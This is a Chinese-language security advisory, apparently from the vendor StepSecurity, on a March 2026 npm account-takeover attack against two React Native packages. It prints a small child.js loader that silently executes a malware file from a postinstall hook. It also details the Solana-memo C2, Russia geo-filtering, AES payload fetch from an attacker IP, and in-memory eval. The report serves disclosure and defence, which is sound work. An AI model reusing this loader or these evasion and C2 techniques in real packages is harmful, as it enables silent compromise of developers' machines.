更新(2026年3月18日):⚠ 攻击仍在进行中 — 尽管维护者于3月16日做出了快速响应,但攻击者并未停止。在3月17日至18日期间,又发布了三个恶意版本的 react-native-international-phone-number(0.12.1、0.12.2、0.12.3),同时伴随着一条新的三层依赖链,交付相同的区块链 C2 恶意软件。维护者已确认账户被完全接管。请勿使用 react-native-international-phone-number@latest 或 react-native-country-select@latest — 两者都指向被入侵的版本。
2026年3月16日,StepSecurity 威胁情报团队率先检测并报告了两个流行 React Native npm 包中的恶意发布版本 — react-native-international-phone-number 和 react-native-country-select。StepSecurity 的 AI 包分析器 标记了被入侵的版本,并在几分钟内直接在两个 GitHub 仓库中提交了安全问题 — 在任何其他安全厂商之前通知了维护者和社区。
维护者在几小时内做出响应,弃用了被入侵的版本。然而,攻击者第二天早晨又卷土重来,使用了一种更加隐蔽的技术 — 利用预埋作用域包的攻击链,确保底层 npm 账户或令牌尚未被完全保护。
关键结果: StepSecurity 的 AI 驱动检测在所有三波攻击中均在发布后数分钟内捕获了该供应链攻击。尽管维护者配合工作,攻击者仍继续发布新的恶意版本 — 从直接的 preinstall 钩子演变为多层依赖链。StepSecurity 已向 npm 报告所有涉及的包,请求移除。
在下一场 npm 供应链攻击影响您之前将其阻止
冷却期检查会在 PR 中阻止新发布的包。npm 包搜索可在您的整个组织中查找被入侵的依赖项。AI 驱动的威胁情报在数分钟内检测到恶意发布版本。
被入侵的包(账户接管)
这两个包在 React Native 移动应用程序中广泛用于电话号码输入和国家/地区选择功能:
- react-native-international-phone-number — 被入侵版本:
0.11.8、0.12.1、0.12.2、0.12.3;已知最新安全版本:0.11.7 - react-native-country-select — 被入侵版本:
0.3.91、0.4.1、0.4.2;已知最新安全版本:0.4.0。同时也是react-native-international-phone-number的依赖项,意味着使用任一包的用户都处于风险中。@latest当前解析为被入侵的0.4.2— 请勿使用@latest。
两个包均由 @AstrOOnauta(npm 上的 astroonauta)维护,其在注册表中共有四个包 — 这两个是最受欢迎的。react-native-country-select 也是 react-native-international-phone-number 的依赖项,意味着使用任一包的用户都处于风险中。
AI 包分析器报告
StepSecurity 的 AI 包分析器为所有被入侵的包生成了详细分析报告,直接链接在 GitHub issue 中
- AI 包分析器报告:react-native-international-phone-number@0.11.8
- AI 包分析器报告:react-native-country-select@0.3.91
- AI 包分析器报告:react-native-international-phone-number@0.12.1
- AI 包分析器报告:@usebioerhold8733/s-format@2.0.2
- AI 包分析器报告:@usebioerhold8733/s-format@2.0.4
StepSecurity AI 对 react-native-international-phone-number@v0.11.8 的分析
StepSecurity AI 对 react-native-country-select@0.3.91 的分析
第一波检测 — 2026年3月16日
两波第一波包均在发布后 5 分钟内被标记。StepSecurity 在一小时内提交了 issue #165 和 #11,维护者在发布后 2 小时 21 分钟内弃用了恶意版本。参见 完整攻击时间线获取完整的多波序列。
攻击持续进行中 — 第二波:基础设施准备(2026年3月17日)
尽管维护者在3月16日弃用了 0.11.8 和 0.3.91,但攻击者并未失去对 npm 账户的访问权限。从3月17日早晨开始,一场新的活动开始形成 — 这一次,在恶意软件激活之前进行了精心设计的多步骤设置。
攻击者预先布置了两个专用 npm 包作为交付基础设施:
@usebioerhold8733/s-format@2.0.1于 UTC 时间上午 8:23 发布 — 合法string-format库的空洞克隆版。包含一个postinstall: "node init.js"钩子,但init.js被故意排除在 tarball 之外。钩子会静默失败。这是一个演练:攻击者正在 npm 上部署包并测试依赖链,然后才激活有效载荷。@agnoliaarisian7180/string-argv@0.3.0于 UTC 时间约上午 8:44 发布 — 合法string-argv工具的空洞克隆版,完全不包含可执行的 JavaScript(只有LICENSE、CHANGELOG.md、README.md、package.json)。其唯一功能是携带对@usebioerhold8733/s-format的依赖。维护者邮箱是AgnoliaArisian7180@proton.me— 一个 Proton Mail 地址,与此次活动中所有包的运营安全模式一致。
当天晚上 UTC 时间 9:36,react-native-international-phone-number@0.12.1 发布,@agnoliaarisian7180/string-argv@0.3.0 被添加为新依赖。没有相应的 GitHub Actions 工作流运行。有效载荷尚未激活 — 但攻击基础设施已完全就位,等待启动。
当 StepSecurity 提交 GitHub issue #167 报告异常时,维护者确认了最坏的情况:
"我不知道发生了什么,但我的 npm 账户遭到攻击,库被接管了……对此很抱歉" — @AstrOOnauta,包维护者
GitHub issue #167:v0.12.1 发布时没有相应的 GitHub Actions 工作流运行。维护者确认其 npm 账户被接管。
第三波:有效载荷激活和演变的交付方式(2026年3月18日)
第二天早晨,攻击者激活了有效载荷,并在不到一小时的协调发布时间内快速迭代交付机制。
新策略:三层依赖链
攻击者没有像第一波那样将恶意软件直接嵌入主包,而是将有效载荷隐藏在依赖树中两个跳跃之外:
react-native-international-phone-number (compromised via account takeover)
└── @agnoliaarisian7180/string-argv (hollow relay package)
└── @usebioerhold8733/s-format (payload host with postinstall hook)
└── postinstall: node child.js → exec(node init.js)
└── init.js: Solana blockchain C2 malware (identical to Wave 1)这种间接方式使自动化检测更加困难:主包乍一看是干净的,恶意行为被埋藏在具有合理名称的传递依赖中。攻击者正在使用这些包作为一个轮换的游乐场,在保持主包安全距离的同时部署、测试和演进恶意软件。
@usebioerhold8733/s-format — 有效载荷的快速迭代
在3月17日至18日期间,@usebioerhold8733/s-format 共发布了四个版本,每个版本都在逐步演进交付机制:
- v2.0.1(3月17日,UTC 上午 8:23)— 准备阶段。
postinstall: "node init.js"存在,但init.js缺失。钩子静默失败。 - v2.0.2(3月18日,UTC 上午 8:24)— 有效载荷激活。
init.js(18.9 KB,高度混淆)添加到 tarball 中。此文件与react-native-international-phone-number@0.11.8中嵌入的install.js逐字节完全相同 — 相同的 Solana 区块链 C2 恶意软件被原封不动地重用。已经安装了0.12.1的任何用户将在下次npm install时收到活动有效载荷。
StepSecurity AI 包分析器报告:@usebioerhold8733/s-format@2.0.2 - v2.0.3(3月18日,UTC 上午 8:59)—
postinstall脚本从"node init.js"更改为"node ./child.js"— 但child.js尚未包含。钩子再次静默失败。这似乎是增量准备步骤:攻击者在child.js准备就绪之前测试更新的钩子。
StepSecurity AI 包分析器报告:@usebioerhold8733/s-format@2.0.3 - v2.0.4(3月18日,UTC 上午 9:03)—
child.js(364 字节)已添加。交付机制现已完全运行。
StepSecurity AI 包分析器报告:@usebioerhold8733/s-format@2.0.4
child.js 加载器
child.js 是一个小型(364字节)启动器,使用 child_process.exec 将 init.js 作为独立子进程执行,所有错误和 stderr 均被静默吞噬:
const fs = require('fs');
const child_process = require('child_process');
const path = require('path');
const initScript = path.join(__dirname, 'init.js');
if (fs.existsSync(initScript)) {
child_process.exec(\`node "${initScript}"\`, (err, stdout, stderr) => {
if (err) { return; }
if (stderr) {}
});
} else {}通过将 init.js 作为"发射后不管"的子进程启动,并压制所有错误通道,恶意软件在 npm install 期间避免出现任何可见的失败或输出。从 npm 的角度来看 postinstall 钩子已干净完成,而有效载荷则在后台静默执行。
第三波中的协调包更新
在 @usebioerhold8733/s-format 迭代的同时,攻击者同步更新了两个中继包:
@agnoliaarisian7180/string-argv@0.3.1(3月18日,UTC 上午 8:40)— 将固定的@usebioerhold8733/s-format依赖从"2.0.1"更改为"latest",确保对有效载荷包的任何未来恶意更新都会自动传播到所有下游安装。react-native-international-phone-number@0.12.2(3月18日,UTC 上午 8:44)— 将@agnoliaarisian7180/string-argv从固定"0.3.0"升级到"latest",完成链条。0.12.2的任何安装现在都会将完整攻击链解析到其最新的恶意版本。react-native-international-phone-number@0.12.3(3月18日,UTC 上午 9:14)— 从package.json中移除现已冗余的preinstall: "node install.js"钩子(清理),保留恶意依赖,并将维护者邮箱更改为voughoeveryc05de@proton.me— 一个与原始作者无关的 Proton Mail 地址,表明攻击者正在巩固对账户的控制。
第三波包的 StepSecurity AI 包分析器报告:
- react-native-international-phone-number@0.12.1
- @usebioerhold8733/s-format@2.0.1
- @usebioerhold8733/s-format@2.0.2
- @usebioerhold8733/s-format@2.0.3
- @usebioerhold8733/s-format@2.0.4
完整攻击时间线
第一波 — 2026年3月16日:直接 Preinstall 钩子
- 2026年3月16日 — UTC 约上午 10:54
react-native-country-select@0.3.91发布;StepSecurity AI 包分析器在 5 分钟内将两个包标记为 严重严重级别 - 2026年3月16日 — UTC 上午 11:49 StepSecurity 在
react-native-international-phone-number上提交 安全问题 #165 - 2026年3月16日 — UTC 上午 11:55 StepSecurity 在
react-native-country-select上提交 安全问题 #11 - 2026年3月16日 — UTC 下午 12:53 维护者发布清洁替换版本
react-native-country-select@0.4.0 - 2026年3月16日 — UTC 下午 1:15 维护者回复:*"感谢你们,我已弃用该版本!!!"* 并关闭了两个 issue。从发布到弃用的总时间:约 2 小时 21 分钟。
第二波 — 2026年3月17日:基础设施准备
- 2026年3月17日 — UTC 上午 8:23
@usebioerhold8733/s-format@2.0.1发布 — postinstall 钩子存在,init.js缺失;无活动有效载荷(演练) - 2026年3月17日 — UTC 约上午 8:44
@agnoliaarisian7180/string-argv@0.3.0发布 — 空洞中继包,依赖于s-format@2.0.1 - 2026年3月17日 — UTC 晚上 9:36
react-native-international-phone-number@0.12.1发布,@agnoliaarisian7180/string-argv@0.3.0作为新依赖。没有 GitHub Actions 运行。攻击基础设施就位;有效载荷尚未激活。 March 17, 2026 — 9:39 PM UTC react-native-country-select@0.4.1发布 — 同一攻击者向之前清洁的0.4.0替换版本注入@agnoliaarisian7180/string-argv@0.3.0。依赖链现在跨越两个包。
第三波 — 2026年3月18日:有效载荷激活和升级
- 2026年3月18日 — UTC 上午 8:24 有效载荷激活:
@usebioerhold8733/s-format@2.0.2发布,包含init.js(18.9 KB 混淆的 Solana C2 恶意软件 — 逐字节与第一波的install.js相同)。已安装0.12.1的任何人都将在下次npm install时收到活动有效载荷。 - 2026年3月18日 — UTC 上午 8:44
react-native-international-phone-number@0.12.2发布 — 将@agnoliaarisian7180/string-argv升级到"latest";完整链条现已锁定到最新恶意版本 March 18, 2026 — 8:43 AM UTC react-native-country-select@0.4.2发布 — 将@agnoliaarisian7180/string-argv从固定0.3.0升级到"latest"。@latest的react-native-country-select现在解析为被入侵版本。- 2026年3月18日 — UTC 上午 8:59
@usebioerhold8733/s-format@2.0.3发布 — postinstall 切换到"node ./child.js",但child.js缺失(准备下一交付阶段) - 2026年3月18日 — UTC 上午 9:03
@usebioerhold8733/s-format@2.0.4发布 —child.js加载器已添加;独立子进程执行现已完全运行 - 2026年3月18日 — UTC 上午 9:14
react-native-international-phone-number@0.12.3发布 — 移除 preinstall 钩子(清理),保留恶意依赖,维护者邮箱更改为voughoeveryc05de@proton.me - 2026年3月18日 StepSecurity 向 npm 报告
@agnoliaarisian7180/string-argv和@usebioerhold8733/s-format请求移除。 尽管已进行三波报告且维护者配合,攻击者仍继续发布新的恶意版本。截至本报告撰写时,这些包在 npm 上仍处于活跃状态。
攻击原理
在三波攻击中,攻击者使用了一致的策略:获取 npm 发布访问权限,将恶意软件启动器注入包中,让该启动器在每个运行 npm install 的开发者机器上执行远程控制的有效载荷。各波之间变化的是交付机制 — 每次迭代都比上一次更加隐蔽。核心恶意软件有效载荷自始至终保持不变。
入口点:npm 账户接管
每个恶意版本都是在没有相应 GitHub 发布、标签或 Actions 工作流运行的情况下发布的 — 完全绕过了维护者既定的发布流程。react-native-international-phone-number@0.11.8 中的 gitHead 与 v0.11.7 完全相同,确认包不是从任何新的源代码提交构建的。到第三波时,攻击者已将 npm 维护者邮箱更改为与原始作者无关的 Proton Mail 地址(voughoeveryc05de@proton.me),表明正在巩固对账户的控制。维护者后来确认:*"我的 npm 账户遭到攻击,库被接管了。"*
交付:恶意软件如何通过各波到达受害者
攻击者迭代了越来越隐蔽的交付方法:
第一波 — 直接 preinstall 钩子(3月16日): 最简单的方法。在 package.json 中直接添加了 preinstall: "node install.js" 脚本,同时在 tarball 中嵌入混淆的 install.js。这在任何包代码运行之前自动执行 — 受害者无需导入或调用任何东西。install.js 使用基于 RC4 的字符串加密和数组轮换进行高度混淆(这是 javascript-obfuscator 工具链的常见模式)。
第二波和第三波 — 三层依赖链(3月17日至18日): 在第一波被检测和报告后,攻击者转向依赖链方法,从主包中移除可见的 install.js,并将有效载荷隐藏在预先部署的作用域包中两个跳跃之外:
react-native-international-phone-number
└── @agnoliaarisian7180/string-argv (hollow relay; no JS code of its own)
└── @usebioerhold8733/s-format (payload host)
└── postinstall: node child.js
└── child_process.exec("node init.js") ← fire-and-forget, errors suppressed
└── init.js ← same obfuscated malware as Wave 1's install.jschild.js 包装器在 @usebioerhold8733/s-format 的 v2.0.4 版本中作为额外的隐蔽层添加:通过将 init.js 作为独立子进程启动,并静默吞噬所有错误和 stderr,从 npm 的角度看 postinstall 钩子已干净完成,而有效载荷则在后台静默运行。此链条中的 init.js 有效载荷与第一波中使用的 install.js 逐字节完全相同 — 攻击者更换了交付载体,但没有更换武器。
第一阶段 — 启动延迟和混淆
恶意软件在任何恶意活动之前以 10 秒的 setTimeout 延迟 开始。这是刻意的沙箱规避技术:执行脚本的超时时间较短的自动化分析工具将观察不到可疑行为,可能将包分类为良性。整个有效载荷使用基于 RC4 的字符串加密和数组轮换进行高度混淆 — 这是一种与 javascript-obfuscator 工具链相关的模式 — 使静态分析变得更加困难。
第二阶段 — 地理过滤:跳过俄罗斯受害者
延迟后,恶意软件检查受害者机器是否位于俄罗斯或独联体国家,通过检查多个独立信号:
- 检查
LANG、LANGUAGE和LC_ALL环境变量中是否包含ru_RU/Russian - 将操作系统用户名和系统时区与 12 个俄罗斯/独联体时区的硬编码列表进行比对:
Europe/Moscow、Asia/Krasnoyarsk、Asia/Vladivostok、Asia/Novosibirsk、Asia/Yekaterinburg、MSK等 - UTC 偏移量(如果在 +2 到 +12 之间则静默退出)
如果任何信号匹配,脚本立即退出而不执行。这是典型的国家级别规避模式,被俄罗斯来源的恶意软件用来保护同胞并减少被本国执法部门发现的机率。它在三波攻击中的出现是将它们联系起来的最强指标之一。
第三阶段 — Solana 区块链作为抗审查的 C2
攻击者没有硬编码有效载荷 URL — 这会通过网络过滤器轻松被阻止 — 而是使用 Solana 区块链作为死投命令与控制解析器。恶意软件轮询硬编码的 Solana 钱包地址:
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ
它对九个公共 Solana RPC 端点调用 getSignaturesForAddress JSON-RPC 方法作为备用(包括 api.mainnet-beta.solana.com、rpc.ankr.com/solana、solana-rpc.publicnode.com 等)。攻击者向钱包发布一条交易,其中包含一条 Solana Memo 程序 消息,嵌入了 JSON link 字段中的 base64 编码有效载荷 URL。这使攻击者能够随时静默轮换其有效载荷服务器 — 通过发布新交易 — 而无需修改恶意软件的一字节。有效载荷 URL 未烧录到二进制文件中,无法静态提取。
第四阶段 — 加密有效载荷获取
使用从 Solana memo 解码的 URL,恶意软件向攻击者服务器(Vultr,AS20473)发出 HTTP GET 请求 http://45.32.150.251/。当前操作系统(Linux、Darwin 或 Windows_NT)作为 HTTP os 头发送,使服务器能够返回平台特定的第二阶段有效载荷。响应体包含 base64 编码和 AES-256 加密的有效载荷。关键的是,解密密钥和 IV 不是在 body 中传递,而是在 HTTP 响应头(secretkey 和 ivbase64)中传递 — 意味着磁盘上或传输中的加密有效载荷如果没有同时连接到 C2 服务器则毫无用处。
第五阶段 — 内存中执行和持久化
解密的有效载荷完全在内存中执行,从不写入磁盘:在 macOS/Linux 上通过 eval(atob(payload)),或在 Windows 上通过具有完全访问 require、Buffer 和 process 权限的 Node.js vm.Script 沙箱。两种路径都不会在文件系统上留下有效载荷痕迹。执行后,持久化锁被写入 ~/init.json,包含当前时间戳。恶意软件将在同一台机器上 48 小时内不会重新执行 — 这是一个限速机制,减少噪音并帮助恶意软件避免被观察重复可疑行为的行为监控工具检测到。
与 ForceMemo 和 GlassWorm 威胁行为者的关联
此次活动的技术特征与2026年3月14日我们记录的 ForceMemo 活动几乎完全匹配,该活动入侵了数百个 GitHub Python 仓库。关键共同指标:
- Solana 区块链死投 C2 — 两个活动使用相同技术但钱包地址不同
- 9 个相同的 Solana RPC 备用端点
- JSON memo 中包含
link字段 用于有效载荷 URL 传递 - 俄罗斯地理过滤 — 相同的时区和语言环境检查
~/init.json48 小时持久化锁- 有效载荷服务器位于 Vultr IP 空间 —
45.32.150.251与 ForceMemo 服务器(45.32.150.97)位于同一45.32.150.x块中 - AES 加密的第二阶段有效载荷,密钥通过 HTTP 头传递
- Node 22 构建环境指纹
- 通过
eval()/vm.Script内存中执行
虽然 Solana 钱包地址不同(表明每个活动使用单独的钱包),但运营基础设施、混淆技术和执行方法与单一威胁行为者一致,很可能是 GlassWorm 组织。
ForceMemo 通过被入侵的 GitHub Python 仓库针对开发者机器。此次活动通过 npm 供应链针对它们 — 具体来说是 React Native 移动开发者生态系统。同一行为者正在多元化交付向量,同时重用相同的核心恶意软件框架。
各波中的 StepSecurity 响应
StepSecurity 团队在每波攻击出现时都做出了响应:
- 第一波(3月16日): AI 包分析器在两个包发布后 5 分钟内标记。StepSecurity 提交了包含完整证据、AI 包分析器报告链接和逐步修复指导的 issue #165 和 issue #11。维护者在 2 小时 21 分钟内弃用了两个版本。
StepSecurity 立即在 react-native-international-phone-number 上提交 issue #165,链接到 AI 包分析器报告
- 第二波(3月17日): AI 包分析器标记了
react-native-international-phone-number@0.12.1。StepSecurity 提交了 issue #167,包含对新依赖链的完整分析。维护者确认其账户已被接管。 - 第三波(3月18日): StepSecurity 追踪了
@usebioerhold8733/s-format通过 2.0.1–2.0.4 版本的快速迭代,并向 npm 报告了@agnoliaarisian7180/string-argv和@usebioerhold8733/s-format请求移除。
每个 issue 都包含了清晰的入侵证据(npm diff、AI 包分析器报告链接、相关包之间的交叉引用),以及对维护者的逐步修复指导。
入侵指标
第一波(2026年3月16日)
- 恶意包:
react-native-international-phone-number@0.11.8、react-native-country-select@0.3.91 - Solana C2 钱包:
6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ - 有效载荷服务器:
http://45.32.150.251(Vultr,AS20473) - HTTP 响应头用于 AES 密钥传递:
secretkey(AES-256 解密密钥)、ivbase64(AES IV,base64 编码) - 文件系统痕迹:
~/init.json— 持久化/限速锁(首次执行时写入)
第二波和第三波(2026年3月17日至18日)
- 恶意包
react-native-international-phone-number@0.12.1、0.12.2、0.12.3react-native-country-select@0.4.1、0.4.2@agnoliaarisian7180/string-argv@0.3.0、0.3.1@usebioerhold8733/s-format@2.0.1、2.0.2、2.0.3、2.0.4
- 有效载荷服务器:
http://45.32.150.251(与第一波相同的 Vultr IP) - Solana C2: 与第一波相同的技术(钱包地址可能不同;使用相同的 9 个 Solana RPC 备用端点)
- 可疑维护者邮箱:
AgnoliaArisian7180@proton.me、UsebioErhold8733@proton.me、voughoeveryc05de@proton.me(均为 Proton Mail,均由攻击者控制) - npm 异常指纹: postinstall 脚本
node init.js/node ./child.js、构建环境 Node 22.22.0 / npm 10.9.4、维护者邮箱更改为与原始作者不匹配的 Proton Mail 地址 - 依赖链指标:
@agnoliaarisian7180/string-argv作为react-native-international-phone-number的依赖存在
您应该怎么做
如果您使用这些包
- 固定到已知最新安全版本
react-native-international-phone-numberreact-native-country-select@0.4.0
- 检查
~/init.json— 其存在确认恶意软件已在您的机器上运行 - 轮换在该机器上或安装时
.env文件中存在的任何密钥(API 密钥、钱包私钥、令牌) - 审查出站网络日志,查找从您的开发机器发起的到
45.32.150.251或任何 Solana RPC 端点的连接 - 审计您的
node_modules,检查@agnoliaarisian7180/string-argv或@usebioerhold8733/s-format的存在 — 任一者的存在都表明您安装了链条的被入侵版本
为防范未来的供应链攻击
- 使用 lockfile,在合并前审查依赖更新
- 为所有具有发布权限的账户启用 npm 2FA
- 使用 StepSecurity 的 OSS 安全动态订阅 等工具监控您的依赖项
- 在 CI/CD 管道中使用 Harden-Runner 检测构建期间的可疑网络活动
致谢
我们真诚地感谢 @AstrOOnauta(Willian Ralf),两个最初受影响包的维护者。在第一波被通知后,他做出了迅速且专业的响应 — 在大约 90 分钟内弃用了恶意版本并发布了清洁替换版本。他的快速行动大大限制了初始攻击的潜在影响范围。
第二波和第三波的账户接管可能完全在他控制之外。他在整个过程中一直配合 — 确认入侵、与我们合作进行修复,并在每次提交报告时迅速响应。此事件提醒我们,即使是最快速响应的维护者也容易受到 npm 账户接管的攻击,需要的不仅是人工响应,还需要工具来遏制复杂的、持续的攻击者。
StepSecurity 如何提供帮助
StepSecurity 通过三个支柱提供端到端的 npm 供应链安全:预防、检测和响应。以下介绍每个支柱在此攻击中如何提供帮助 — 以及它们如何保护您免受下一次攻击。(完整文档)
预防 — 在恶意包进入您的代码库之前阻止它们
- npm 包冷却期检查 — 新发布的 npm 包在可配置的冷却窗口期间暂时被阻止。当 PR 引入或更新到最近发布的版本时,检查会自动失败。由于大多数恶意包在 24 小时内被识别,这创建了关键的安全缓冲。在这种情况下,
react-native-country-select@0.3.91和react-native-international-phone-number@0.11.8在冷却期期间会被阻止进入任何 PR。 - npm 包被入侵更新检查 — StepSecurity 维护已知恶意和高风险 npm 包的实时数据库,持续更新 — 通常早于官方 CVE。如果 PR 尝试引入被入侵的包,检查失败,合并被阻止。
- Harden-Runner 出站网络限制 — 在工作流执行期间过滤出站网络流量,阻止所有未声明的端点。DNS 和网络级别的执行都阻止隐蔽数据外泄 — 此恶意软件中的 Solana RPC 轮询和 C2 有效载荷获取将在网络级别被阻止。
检测 — 在 PR、仓库和开发机器上持续可见
- 威胁情报 + AI 包分析器 — 持续监控 npm 注册表中的可疑发布版本。在这种情况下,两个包在发布后 5 分钟内 被标记,使团队有时间调查、确认恶意意图,并在包累积大量下载之前通知维护者。
- npm 包搜索 — 在您组织的所有仓库的所有 PR 中搜索特定包被引入的位置。当发现被入侵的包时,立即了解影响范围 — 哪些仓库、哪些 PR、哪些团队受到影响。这适用于 pull request、默认分支和开发机器。
- Harden-Runner 网络基线 — 自动记录每个作业和仓库的出站网络流量,建立正常行为模式并标记异常。揭示恶意 postinstall 脚本是否执行了外泄尝试或联系了可疑域。
StepSecurity 威胁中心向客户提供实时威胁情报建议,并直接链接到在其组织中搜索受影响包的工具。
npm 包搜索让客户能够即时检查被入侵版本是否在其组织中的任何 PR、默认分支或开发机器上被引入。
响应 — 调查事件并评估组织范围的影响
- 威胁中心 — 实时警报关于被入侵的包、被劫持的维护者和新兴攻击活动,直接交付到现有 SIEM 工作流。警报包括攻击摘要、技术分析、IOC、受影响版本和修复步骤。
- 协调修复 — 结合威胁情报、包搜索和网络基线创建受影响仓库的优先级列表,提供一致的指导,实现跨数十或数百个仓库的协调修复。
在下一场 npm 供应链攻击影响您之前将其阻止
冷却期检查会在 PR 中阻止新发布的包。npm 包搜索可在您的整个组织中查找被入侵的依赖项。AI 驱动的威胁情报在数分钟内检测到恶意发布版本。